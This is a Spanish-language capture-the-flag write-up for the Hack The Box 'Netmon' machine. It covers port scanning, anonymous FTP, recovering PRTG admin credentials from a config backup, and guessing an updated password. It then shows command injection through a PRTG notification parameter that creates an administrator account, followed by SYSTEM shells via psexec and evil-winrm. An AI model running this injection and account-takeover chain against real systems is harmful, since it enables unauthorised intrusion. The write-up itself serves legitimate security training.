Hack The Box Netmon
Netmon
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.152.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=137 ms
--- 10.10.10.152 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 136.924/136.924/136.924/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.152 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 18:09 CST
Initiating SYN Stealth Scan at 18:09
Scanning 10.10.10.152 [65535 ports]
Discovered open port 139/tcp on 10.10.10.152
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 135/tcp on 10.10.10.152
Discovered open port 21/tcp on 10.10.10.152
Discovered open port 80/tcp on 10.10.10.152
Discovered open port 49669/tcp on 10.10.10.152
Discovered open port 5985/tcp on 10.10.10.152
Discovered open port 49667/tcp on 10.10.10.152
Discovered open port 49664/tcp on 10.10.10.152
Discovered open port 49666/tcp on 10.10.10.152
Discovered open port 49665/tcp on 10.10.10.152
Discovered open port 49668/tcp on 10.10.10.152
Discovered open port 47001/tcp on 10.10.10.152
Completed SYN Stealth Scan at 18:10, 16.59s elapsed (65535 total ports)
Nmap scan report for 10.10.10.152
Host is up, received user-set (0.14s latency).
Scanned at 2022-02-06 18:09:48 CST for 17s
Not shown: 65197 closed tcp ports (reset), 325 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.70 seconds
Raw packets sent: 81004 (3.564MB) | Rcvd: 67859 (2.714MB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.152
5 │ [*] Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
❯ nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 18:10 CST
Nmap scan report for 10.10.10.152
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_02-25-19 10:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-02-07T00:11:39
|_ start_date: 2022-02-07T00:08:23
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.54 seconds
Vemos el puerto 21 abierto, así que vamos a tratar de ingresar como el usuario anonymous:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:k4miyo): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <DIR> inetpub
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-03-19 07:08AM <DIR> Users
02-25-19 10:49PM <DIR> Windows
226 Transfer complete.
ftp>
Tenemos acceso y vemos una estructura de lo que encontraría con C:\
, com son varios recursos, vamos hacer uso de la herramienta curlftpfs
para crearnos una montura.
1
2
❯ mkdir /mnt/ftp
❯ curlftpfs anonymous:loquesea@10.10.10.152 /mnt/ftp/
Ahora ya podemos ingresar más cómodos a la montura y visualizar los recursos de la máquina víctima. Pero para no buscar recursos en todos lados; vemos que también se encuentra abierto el puerto 80, así que antes de ver el contenido vía web, ocuparemos whatweb
.
1
2
3
❯ whatweb http://10.10.10.152/
http://10.10.10.152/ [302 Found] Country[RESERVED][ZZ], HTTPServer[PRTG/18.1.37.13946], IP[10.10.10.152], PRTG-Network-Monitor[18.1.37.13946,PRTG], RedirectLocation[/index.htm], UncommonHeaders[x-content-type-options], X-XSS-Protection[1; mode=block]
ERROR Opening: http://10.10.10.152/index.htm - incorrect header check
No tenemos nada interesante, así que ahora si visualizamos el contenido vía web.
Nos enfrentamos antes un PRTG Network Monitor e igual dicha tecnología presenta credenciales default, que buscando un poco las credenciales son prtgadmin : prtgadmin; sin embargo, vemos que no podemos ingresar. Pensando un poco como atacantes, podríamos deducir que existe un posible archivos de configuración en donde se guarden credenciales en texto claro y tenemos una vía de acceso de esos recursos por FTP.
Investigando un poco, encontramos el recurso paessler.com y vemos que la posibles rutas donde se encuentra instalado el software de PRTG Network Monitor serian:
- %programfiles%\PRTG Network Monitor
- %programfiles(x86)%\PRTG Network Monitor
- %programdata%\Paessler\PRTG Network Monitor
- %ALLUSERSPROFILE%\Application data\Paessler\PRTG Network Monitor
Vamos a validarlas en la montura que tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ cd /mnt/ftp
❯ ll
d--------- root root 0 B Sun Nov 20 21:46:00 2016 $RECYCLE.BIN
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Documents and Settings
d--------- root root 0 B Mon Feb 25 21:15:00 2019 inetpub
d--------- root root 0 B Sat Jul 16 09:18:00 2016 PerfLogs
d--------- root root 0 B Mon Feb 25 21:56:00 2019 Program Files
d--------- root root 0 B Sat Feb 2 23:28:00 2019 Program Files (x86)
d--------- root root 0 B Wed Dec 15 09:40:00 2021 ProgramData
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Recovery
d--------- root root 0 B Sun Feb 3 07:04:00 2019 System Volume Information
d--------- root root 0 B Sun Feb 3 07:08:00 2019 Users
d--------- root root 0 B Mon Feb 25 22:49:00 2019 Windows
.--------- root root 380 KB Sun Nov 20 20:59:00 2016 bootmgr
.--------- root root 1 B Sat Jul 16 09:10:00 2016 BOOTNXT
.--------- root root 704 MB Sun Feb 6 19:08:00 2022 pagefile.sys
Vemos la carpeta ProgramData que corresponde al tercer punto de las posibles rutas donde se encuentra instalado el programa; así que vamos por ahí.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ cd ProgramData
❯ ll
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Application Data
d--------- root root 0 B Wed Dec 15 09:40:00 2021 Corefig
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Desktop
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Documents
d--------- root root 0 B Sat Feb 2 23:15:00 2019 Licenses
d--------- root root 0 B Sun Nov 20 21:36:00 2016 Microsoft
d--------- root root 0 B Sat Feb 2 23:18:00 2019 Paessler
d--------- root root 0 B Sun Feb 3 07:05:00 2019 regid.1991-06.com.microsoft
d--------- root root 0 B Sat Jul 16 09:18:00 2016 SoftwareDistribution
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Start Menu
d--------- root root 0 B Sat Feb 2 23:15:00 2019 TEMP
d--------- root root 0 B Sun Feb 3 07:05:00 2019 Templates
d--------- root root 0 B Sun Nov 20 21:19:00 2016 USOPrivate
d--------- root root 0 B Sun Nov 20 21:19:00 2016 USOShared
d--------- root root 0 B Mon Feb 25 21:56:00 2019 VMware
❯ cd Paessler
❯ ll
d--------- root root 0 B Sun Feb 6 19:09:00 2022 PRTG Network Monitor
Vamos a ver que archivos se encuentran en PRTG Network Monitor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ cd "PRTG Network Monitor"
❯ ll
d--------- root root 0 B Wed Dec 15 07:23:00 2021 Configuration Auto-Backups
d--------- root root 0 B Sun Feb 6 19:09:00 2022 Log Database
d--------- root root 0 B Sat Feb 2 23:18:00 2019 Logs (Debug)
d--------- root root 0 B Sat Feb 2 23:18:00 2019 Logs (Sensors)
d--------- root root 0 B Sat Feb 2 23:18:00 2019 Logs (System)
d--------- root root 0 B Sun Feb 6 19:09:00 2022 Logs (Web Server)
d--------- root root 0 B Wed Dec 15 07:19:00 2021 Monitoring Database
d--------- root root 0 B Mon Feb 25 22:00:00 2019 Report PDFs
d--------- root root 0 B Sat Feb 2 23:18:00 2019 System Information Database
d--------- root root 0 B Sat Feb 2 23:40:00 2019 Ticket Database
d--------- root root 0 B Sat Feb 2 23:18:00 2019 ToDo Database
.--------- root root 1.1 MB Mon Feb 25 21:54:00 2019 PRTG Configuration.dat
.--------- root root 1.1 MB Mon Feb 25 21:54:00 2019 PRTG Configuration.old
.--------- root root 1.1 MB Sat Jul 14 03:13:00 2018 PRTG Configuration.old.bak
.--------- root root 1.6 MB Sun Feb 6 19:09:00 2022 PRTG Graph Data Cache.dat
Encontramos unos archivos de configuración PRTG Configuration, los cuales podrían contener configuración de la tecnología, como su nombre lo indica, y tal vez encontraríamos credenciales de acceso.
1
2
3
4
5
❯ file PRTG*
PRTG Configuration.dat: XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
PRTG Configuration.old: XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
PRTG Configuration.old.bak: XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
PRTG Graph Data Cache.dat: data
Uno que ya nos debería llamar un poco la atención sería el que termina en .bak
ya que hace referencia a un backup y si revisamos su contenido, encontramos lo siguiente:
1
2
3
4
5
6
7
❯ cat "PRTG Configuration.old.bak" | less -S
...
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
...
Tenemos las credenciales prtgadmin : PrTg@dmin2018; podríamos tratar de probarlas en el panel de login, pero vemos que no podemos acceder. Pensando un poco, dichas credenciales las obtuvimos del archivo PRTG Configuration.old.bak
, lo que nos hace referencia que son antiguas y ¿si la contraseña sigue el mismo principio cambiando el año? Podríamos tratar de ingresar PrTg@dmin2019, PrTg@dmin2020, y así sucesivamente.
Las credenciales de acceso son prtgadmin : PrTg@dmin2019 y ya hemos ingresado al sistema. Nos enfrentamos ante un PRTG Network Monitor de versión 18.1.37.13946, entonces vamos a tratar de buscar algún exploit público que nos ayude a ingresar al sistema.
1
2
3
4
5
6
7
8
9
10
❯ searchsploit prtg network monitor
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS | windows/webapps/49156.txt
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | windows_x86/dos/44500.py
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Vemos uno windows/webapps/46527.sh
, así que tratamos de ver que hace. Básicamente tenemos que crear una notificación en la parte de Setup > Notifications, hacemos clicp en el símbol de + en la parte superior derecha y luego click en Add new notification.
Nos vamos hasta abajo y habilitamos Execute Program llenando los siguientes campos dela siguiente forma:
- Program File: Demo exe notification - outfile.ps1
- Parameter: C:\Users\Public\tester.txt; el_comando_que_queremos_ejecutar
De acuerdo con el exploit, nos creamos un usuario a nivel de sistema y de paso lo agregamos al grupo Administrators. Si podemos hacer esto, significa que quien corre el programa es un usuario administrador.
Por lo tanto ponemos C:\Users\Public\tester.txt; net user kamiyo k4miyo123$! /add; net localgroups Administrators kamiyo /add
.
Para ejecutar la notificación, nos vamos a la que hemos creado y damos click en el icono de un papel y un lapiz y nos aparecen varias opciones; seleccionamos aquella que parece una campanita.
Validamos con crackmapexec smb
si nuestro usuario fue creado:
1
2
3
❯ crackmapexec smb 10.10.10.152 -u 'kamiyo' -p 'k4miyo123$!'
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\kamiyo:k4miyo123$! (Pwn3d!)
Fue creado y a parte tenemos posiblidad de ingresar a la máquina con impacket-psexec
. En caso que no queramos usar psexec
podríamos tratar de agregar nuestro usuario al grupo Remote Management Users y conectarnos a la máquina con evil-winrm
ya que se encuentra abierto el puerto 5985.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ impacket-psexec WORKGROUP/kamiyo:k4miyo123\$\!@10.10.10.152
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.152.....
[*] Found writable share ADMIN$
[*] Uploading file PrIscOHa.exe
[*] Opening SVCManager on 10.10.10.152.....
[*] Creating service FyEk on 10.10.10.152.....
[*] Starting service FyEk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ evil-winrm -i 10.10.10.152 -u 'kamiyo' -p 'k4miyo123$!'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\kamiyo\Documents> whoami
netmon\kamiyo
*Evil-WinRM* PS C:\Users\kamiyo\Documents>
Ya nos encontramos dentro de la máquina como nt authority\system
y podemos visualizar las flags (user.txt y root.txt).